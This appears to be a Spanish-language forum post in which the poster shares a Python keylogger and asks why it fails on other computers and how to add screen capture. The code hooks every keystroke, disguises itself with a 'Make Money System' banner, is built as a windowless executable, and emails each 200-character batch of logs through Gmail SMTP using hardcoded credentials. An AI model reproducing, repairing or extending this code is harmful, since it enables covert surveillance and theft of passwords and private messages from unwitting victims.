# -*- coding: utf-8 -*-
import os, sys, logging
import pyHook, pythoncom
import time, datetime
import smtplib
import socket
#Creo el archivo
Fdir = 'C://ProgramData/task.txt'
if os.path.isfile(Fdir):
os.remove(Fdir)
print ('Make Money System - Spanish Version.')
print ('Todos los derechos reservados!')
else:
f = open(Fdir,"w")
f.close()
print('Make Money System - Spanish Version.')
print ('Todos los derechos reservados!')
#Defino variables y creo la funcion que registra
Klg = ""
Cont = 0
Send = ""
nombre_equipo = socket.gethostname()
def send_email(message):
try:
# Datos
fromaddr = '[email protected]'
toaddrs = '[email protected]'
username = '[email protected]'
password = '123456.Dalila'
# Enviando el correo
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, message)
server.quit()
print('Servicio Arrancado con exito, Ya se han enviado los logs!')
except:
print('Hubo algun error en la ejecucion')
send_email("Nuevo Dispotivo Conectado: ")
def PresionanAlgunaTecla(event):
global Cont
global Klg
global Send
if event.Ascii:
key = chr(event.Ascii)
Cont +=1
Klg += key
f1 = open(Fdir,"w")
f1.write(Klg)
f1.close()
if Cont == 200:
print('200')
#leer log y enviar por correo
typ = open(Fdir,"r")
log = typ.read()
typ.close()
print (log)
send_email(log)
#Mato y comienzo de nuevo
os.remove(Fdir)
Cont = 0
Klg = ""
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = PresionanAlgunaTecla
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Perfecto, este es mi codigo, si lo compilo con PyInstaller y lo ejecuto en mi pc funciona de maravilla, pero cuando lo pruebo en otra pc pues no funciona.
Creo el ejecutable con --noconsole --onefile
es un script basico pero potente, y estoy en ese problema.
Aprovecho para preguntar, algun modulo de python o alguna forma para capturar pantallas?